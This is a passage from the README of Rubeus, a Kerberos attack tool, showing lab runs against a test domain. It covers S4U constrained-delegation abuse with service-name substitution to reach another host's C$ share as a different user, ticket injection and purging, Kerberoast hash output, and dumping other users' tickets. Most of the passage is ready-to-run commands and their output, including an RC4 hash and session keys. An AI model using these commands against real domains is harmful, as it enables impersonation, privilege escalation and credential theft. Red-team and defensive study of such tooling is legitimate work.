[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...

That forwardable ticket can then be used as a /tgs:Y parameter (base64 blob or .kirbi file) to execute the S4U2proxy process. A valid msds-allowedtodelegateto value for the account must be supplied (/msdsspn:X). Say the patsy@testlab.local account looks like this:

PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local

Then the S4U2proxy abuse function (using the ticket from the previous S4U2self process) would be:

C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL
[*] Impersonating user 'dfm.a@TESTLAB.LOCAL' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

Where /ticket:X is the TGT returned in the first step, and /tgs is the S4U2self ticket. Injecting the resulting ticket (manually with Rubeus.exe ptt /ticket:X or by supplying the /ptt flag to the s4u command) will allow you access the ldap service on primary.testlab.local as if you are dfm.a.

The /altservice parameter takes advantage of Alberto Solino's great discovery about how the service name (sname) is not protected in the KRB-CRED file, only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (/altservice:cifs,HOST,...).

Let's expand on the previous example, forging access to the filesystem on primary.testlab.local by abusing its constrained delegation configuration and the alternate service substitution. Let's package it all into one step as well, performing a TGT request, S4U2self process, S4U2proxy execution, and injection of the final ticket:

C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..

[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,511,676,416 bytes free

Ticket Management

Breakdown of the ticket management commands:

Command Description
ptt Apply a ticket to the current (or specified) logon session
purge Purge the current (or specified) logon session of Kerberos tickets
describe Describe a ticket base64 blob or .kirbi file

ptt

The ptt action will submit a /ticket:X (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (if elevated) to the logon session specified by /luid:0xA... Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.

C:\Rubeus>Rubeus.exe ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: List Kerberos Tickets (Current User)

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
    Server Name       : krbtgt/testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

Elevated ticket application to another logon session:

C:\Rubeus>Rubeus.exe klist /luid:0x474722b

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: List Kerberos Tickets (All Users)

[*] Target LUID     : 0x474722b

UserName                 : patsy
Domain                   : TESTLAB
LogonId                  : 0x474722b
UserSID                  : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage    : Kerberos
LogonType                : Interactive
LogonTime                : 2/11/2019 10:58:53 PM
LogonServer              : PRIMARY
LogonServerDNSDomain     : TESTLAB.LOCAL
UserPrincipalName        : patsy@testlab.local

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/11/2019 2:58:53 PM ; 2/11/2019 7:58:53 PM ; 2/18/2019 2:58:53 PM
    Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
    Client Name       : patsy @ TESTLAB.LOCAL
    Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)


C:\Rubeus>Rubeus.exe ptt /luid:0x474722b /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Import Ticket
[*] Target LUID: 0x474722b
[+] Ticket successfully imported!

C:\Rubeus>Rubeus.exe klist /luid:0x474722b

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: List Kerberos Tickets (All Users)

[*] Target LUID     : 0x474722b

UserName                 : patsy
Domain                   : TESTLAB
LogonId                  : 0x474722b
UserSID                  : S-1-5-21-883232822-274137685-4173207997-1169
AuthenticationPackage    : Kerberos
LogonType                : Interactive
LogonTime                : 2/11/2019 10:58:53 PM
LogonServer              : PRIMARY
LogonServerDNSDomain     : TESTLAB.LOCAL
UserPrincipalName        : patsy@testlab.local

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/11/2019 2:55:18 PM ; 2/11/2019 7:55:18 PM ; 2/18/2019 2:55:18 PM
    Server Name       : krbtgt/testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

purge

The purge action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by /luid:0xA...

C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: List Kerberos Tickets (Current User)

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
    Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
    Client Name       : harmj0y @ TESTLAB.LOCAL
    Flags             : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)

    [1] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
    Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
    Client Name       : harmj0y @ TESTLAB.LOCAL
    Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

    [2] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/11/2019 3:05:36 PM ; 2/11/2019 8:05:36 PM ; 2/18/2019 3:05:36 PM
    Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : harmj0y @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)


C:\Rubeus>Rubeus.exe purge

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

Luid: 0x0

[*] Action: Purge Tickets
[+] Tickets successfully purged!

C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: List Kerberos Tickets (Current User)


C:\Rubeus>

Elevated purging of another logon session:

C:\Rubeus>Rubeus.exe triage /luid:0x474722b

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: Triage Kerberos Tickets

[*] Target LUID     : 0x474722b

-----------------------------------------------------------------------------------
| LUID      | UserName              | Service              | EndTime              |
-----------------------------------------------------------------------------------
| 0x474722b | dfm.a @ TESTLAB.LOCAL | krbtgt/testlab.local | 2/11/2019 7:55:18 PM |
-----------------------------------------------------------------------------------


C:\Rubeus>Rubeus.exe purge /luid:0x474722b

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

Luid: 0x474722b

[*] Action: Purge Tickets
[*] Target LUID: 0x474722b
[+] Tickets successfully purged!

C:\Rubeus>Rubeus.exe triage /luid:0x474722b

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: Triage Kerberos Tickets

[*] Target LUID     : 0x474722b

---------------------------------------
| LUID | UserName | Service | EndTime |
---------------------------------------
---------------------------------------

describe

The describe action takes a /ticket:X value (TGT or service ticket), parses it, and describes the values of the ticket. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.

If the supplied ticket is a service ticket AND the encryption type is RC4_HMAC, an extracted Kerberoast-compatible hash is output. If the ticket is a service ticket but the encryption key is AES128/AES256, a warning is displayed. If the ticket is a TGT, no hash or warning is displayed.

Display information about a TGT:

C:\Rubeus>Rubeus.exe describe /ticket:doIFmjCCBZagAwIBBaEDAgEWoo..(snip)..

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  krbtgt/testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/11/2019 2:55:18 PM
EndTime               :  2/11/2019 7:55:18 PM
RenewTill             :  2/18/2019 2:55:18 PM
Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  e3MxrlTu9jHh9hG43UfiAQ==

Display information about service ticket with an extracted Kerberoast hash:

C:\Rubeus>Rubeus.exe describe /ticket:service_ticket.kirbi

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1


[*] Action: Describe Ticket

UserName              :  harmj0y
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  asdf/asdfasdf
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/20/2019 8:58:14 AM
EndTime               :  2/20/2019 12:41:09 PM
RenewTill             :  2/27/2019 7:41:09 AM
Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  WqGWK4htp7rM1CURpxjMPA==
Kerberoast Hash       :  $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$DEB467BF9C9023E...(snip)...

Ticket Extraction and Harvesting

Breakdown of the ticket extraction/harvesting commands:

Command Description
triage LUID, username, service target, ticket expiration
klist Detailed logon session and ticket info
dump Detailed logon session and ticket data
tgtdeleg Retrieve usable TGT for non-elevated user
monitor Monitor logon events and dump new tickets
harvest Same as monitor but with auto-renewal functionality

Note: triage/klist/dump give increasing amounts of ticket detail.

triage

The triage action will output a table of the current user's Kerberos tickets, if not elevated. If run from an elevated context, a table describing all Kerberos tickets on the system is displayed. Ticket can be filtered for a specific service with /service:SNAME.

If elevated, tickets can be filtered for a specific LogonID with /luid:0xA.. or a specific user with /user:USER. This can be useful when triaging systems with a lot of Kerberos tickets.

Triage all enumerateable tickets (non-elevated):

C:\Rubeus>Rubeus.exe triage

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4



[*] Action: Triage Kerberos Tickets (Current User)

[*] Current LUID    : 0x4420e

-----------------------------------------------------------------------------------------
| LUID    | UserName                | Service                    | EndTime              |
-----------------------------------------------------------------------------------------
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL       | 2/12/2019 4:04:14 PM |
| 0x4420e | harmj0y @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL       | 2/12/2019 4:04:14 PM |
| 0x4420e | harmj0y @ TESTLAB.LOCAL | cifs/primary.testlab.local | 2/12/2019 4:04:14 PM |
-----------------------------------------------------------------------------------------

Triage all enumerateable tickets (elevated):

C:\Rubeus>Rubeus.exe triage

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4



[*] Action: Triage Kerberos Tickets (All Users)

-------------------------------------------------------------------------------------------------------------
| LUID      | UserName                   | Service                                  | EndTime               |
-------------------------------------------------------------------------------------------------------------
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL    | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 4:04:14 PM  |
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL    | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 4:04:14 PM  |
| 0x56cdda9 | harmj0y @ TESTLAB.LOCAL    | cifs/primary.testlab.local               | 2/12/2019 4:04:14 PM  |
| 0x56cdd86 | harmj0y @ TESTLAB.LOCAL    | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 4:04:02 PM  |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL    | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 3:19:11 PM  |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL    | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 3:19:11 PM  |
| 0x47869cc | harmj0y @ TESTLAB.LOCAL    | cifs/primary.testlab.local               | 2/12/2019 3:19:11 PM  |
| 0x47869b4 | harmj0y @ TESTLAB.LOCAL    | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 3:05:29 PM  |
| 0x3c4c241 | dfm.a @ TESTLAB.LOCAL      | krbtgt/TESTLAB.LOCAL                     | 2/11/2019 4:24:02 AM  |
| 0x441d8   | dfm.a @ TESTLAB.LOCAL      | cifs/primary.testlab.local               | 2/10/2019 11:41:26 PM |
| 0x441d8   | dfm.a @ TESTLAB.LOCAL      | LDAP/primary.testlab.local               | 2/10/2019 11:41:26 PM |
| 0x3e4     | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 1:25:01 PM  |
| 0x3e4     | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 1:25:01 PM  |
| 0x3e4     | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local               | 2/12/2019 1:25:01 PM  |
| 0x3e4     | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM  |
| 0x3e7     | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 2:23:45 PM  |
| 0x3e7     | windows10$ @ TESTLAB.LOCAL | krbtgt/TESTLAB.LOCAL                     | 2/12/2019 2:23:45 PM  |
| 0x3e7     | windows10$ @ TESTLAB.LOCAL | cifs/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM  |
| 0x3e7     | windows10$ @ TESTLAB.LOCAL | WINDOWS10$                               | 2/12/2019 2:23:45 PM  |
| 0x3e7     | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM  |
-------------------------------------------------------------------------------------------------------------

Triage targeting a specific service (elevated):

C:\Rubeus>Rubeus.exe triage /service:ldap

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4



[*] Action: Triage Kerberos Tickets (All Users)

[*] Target service  : ldap

-----------------------------------------------------------------------------------------------------------
| LUID    | UserName                   | Service                                  | EndTime               |
-----------------------------------------------------------------------------------------------------------
| 0x441d8 | dfm.a @ TESTLAB.LOCAL      | LDAP/primary.testlab.local               | 2/10/2019 11:41:26 PM |
| 0x3e4   | windows10$ @ TESTLAB.LOCAL | ldap/primary.testlab.local/testlab.local | 2/11/2019 7:23:48 PM  |
| 0x3e7   | windows10$ @ TESTLAB.LOCAL | LDAP/PRIMARY.testlab.local/testlab.local | 2/12/2019 2:23:45 PM  |
-----------------------------------------------------------------------------------------------------------

klist

The klist will list detailed information on the current user's logon session and Kerberos tickets, if not elevated. If run from an elevated context, information on all logon sessions and associated Kerberos tickets is displayed. Logon and ticket information can be displayed for a specific LogonID with /luid:0xA.. (if elevated).

Listing the current (non-elevated) user's logon session and Kerberos ticket information:

C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4



[*] Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0x4420e

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/12/2019 11:04:14 AM ; 2/12/2019 4:04:14 PM ; 2/19/2019 11:04:14 AM
    Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
    Client Name       : harmj0y @ TESTLAB.LOCAL
    Flags             : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)

    ...(snip)...

Elevated listing of another user's logon session/Kerberos ticket information:

C:\Rubeus>Rubeus.exe klist /luid:0x47869b4

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: List Kerberos Tickets (All Users)

[*] Target LUID     : 0x47869b4

UserName                 : harmj0y
Domain                   : TESTLAB
LogonId                  : 0x47869b4
UserSID                  : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage    : Kerberos
LogonType                : Interactive
LogonTime                : 2/11/2019 11:05:31 PM
LogonServer              : PRIMARY
LogonServerDNSDomain     : TESTLAB.LOCAL
UserPrincipalName        : harmj0y@testlab.local

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/11/2019 3:05:31 PM ; 2/11/2019 8:05:31 PM ; 2/18/2019 3:05:31 PM
    Server Name       : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
    Client Name       : harmj0y @ TESTLAB.LOCAL
    Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)

    ...(snip)...

dump

The dump action will extract current TGTs and service tickets if in an elevated context. If not elevated, service tickets for the current user are extracted. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:0xA.. parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's kerberos::ptt functionality.

Note: if run from a non-elevated context, the session keys for TGTs are not returned (by default) from the associated APIs, so only service tickets extracted will be usable. If you want to (somewhat) workaround this, use the tgtdeleg command.

Extracting the current user's usable service tickets:

C:\Rubeus>Rubeus.exe dump

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4



[*] Action: Dump Kerberos Ticket Data (Current User)

[*] Current LUID    : 0x4420e

[*] Returned 3 tickets

ServiceName              : krbtgt/TESTLAB.LOCAL
TargetName               : krbtgt/TESTLAB.LOCAL
ClientName               : harmj0y
DomainName               : TESTLAB.LOCAL
TargetDomainName         : TESTLAB.LOCAL
AltTargetDomainName      : TESTLAB.LOCAL
SessionKeyType           : rc4_hmac
Base64SessionKey         : AAAAAAAAAAAAAAAAAAAAAA==
KeyExpirationTime        : 12/31/1600 4:00:00 PM
TicketFlags              : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime                : 2/11/2019 3:19:15 PM
EndTime                  : 2/11/2019 8:19:13 PM
RenewUntil               : 2/18/2019 3:19:13 PM
TimeSkew                 : 0
EncodedTicketSize        : 1306
Base64EncodedTicket      :

    doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...

...(snip)...



[*] Enumerated 3 total tickets
[*] Extracted  3 total tickets

Elevated extraction of tickets from a specific logon session:

C:\Rubeus>Rubeus.exe dump /luid:0x47869cc

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: Dump Kerberos Ticket Data (All Users)

[*] Target LUID: 0x47869cc

UserName                 : harmj0y
Domain                   : TESTLAB
LogonId                  : 0x47869cc
UserSID                  : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage    : Negotiate
LogonType                : Interactive
LogonTime                : 2/11/2019 11:05:31 PM
LogonServer              : PRIMARY
LogonServerDNSDomain     : TESTLAB.LOCAL
UserPrincipalName        : harmj0y@testlab.local

    [*] Enumerated 3 ticket(s):

    ServiceName              : krbtgt/TESTLAB.LOCAL
    TargetName               : krbtgt/TESTLAB.LOCAL
    ClientName               : harmj0y
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : rc4_hmac
    Base64SessionKey         : u9DOCzuGKAZB6h/E/9XcFg==
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, pre_authent, renewable, forwarded, forwardable
    StartTime                : 2/11/2019 3:21:53 PM
    EndTime                  : 2/11/2019 8:19:13 PM
    RenewUntil               : 2/18/2019 3:19:13 PM
    TimeSkew                 : 0
    EncodedTicketSize        : 1306
    Base64EncodedTicket      :

    doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...

    ServiceName              : krbtgt/TESTLAB.LOCAL
    TargetName               : krbtgt/TESTLAB.LOCAL
    ClientName               : harmj0y
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : aes256_cts_hmac_sha1
    Base64SessionKey         : tKcszT8rdYyxBxBHlkpmJ/SEsfON8mBMs4ZN/29Xv8A=
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, pre_authent, initial, renewable, forwardable
    StartTime                : 2/11/2019 3:19:13 PM
    EndTime                  : 2/11/2019 8:19:13 PM
    RenewUntil               : 2/18/2019 3:19:13 PM
    TimeSkew                 : 0
    EncodedTicketSize        : 1338
    Base64EncodedTicket      :

    doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)...

    ...(snip)...


[*] Enumerated 3 total tickets
[*] Extracted  3 total tickets

Elevated extraction of all TGTs on a system:

C:\Rubeus>Rubeus.exe dump /service:krbtgt

 ______        _                      
(_____ \      | |                     
 _____) )_   _| |__  _____ _   _  ___ 
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3



[*] Action: Dump Kerberos Ticket Data (All Users)

[*] Target service  : krbtgt


UserName                 : harmj0y
Domain                   : TESTLAB
LogonId                  : 0x47869cc
UserSID                  : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage    : Negotiate
LogonType                : Interactive
LogonTime                : 2/11/2019 11:05:31 PM
LogonServer              : PRIMARY
LogonServerDNSDomain     : TESTLAB.LOCAL
UserPrincipalName        : harmj0y@testlab.local

    [*] Enumerated 3 ticket(s):

    ServiceName              : krbtgt/TESTLAB.LOCAL
    TargetName               : krbtgt/TESTLAB.LOCAL
    ClientName               : harmj0y
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : rc4_hmac
    Base64SessionKey         : y4LL+W3KZoOjnwsiwf150g==
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, pre_authent, renewable, forwarded, forwardable
    StartTime                : 2/11/2019 3:23:50 PM
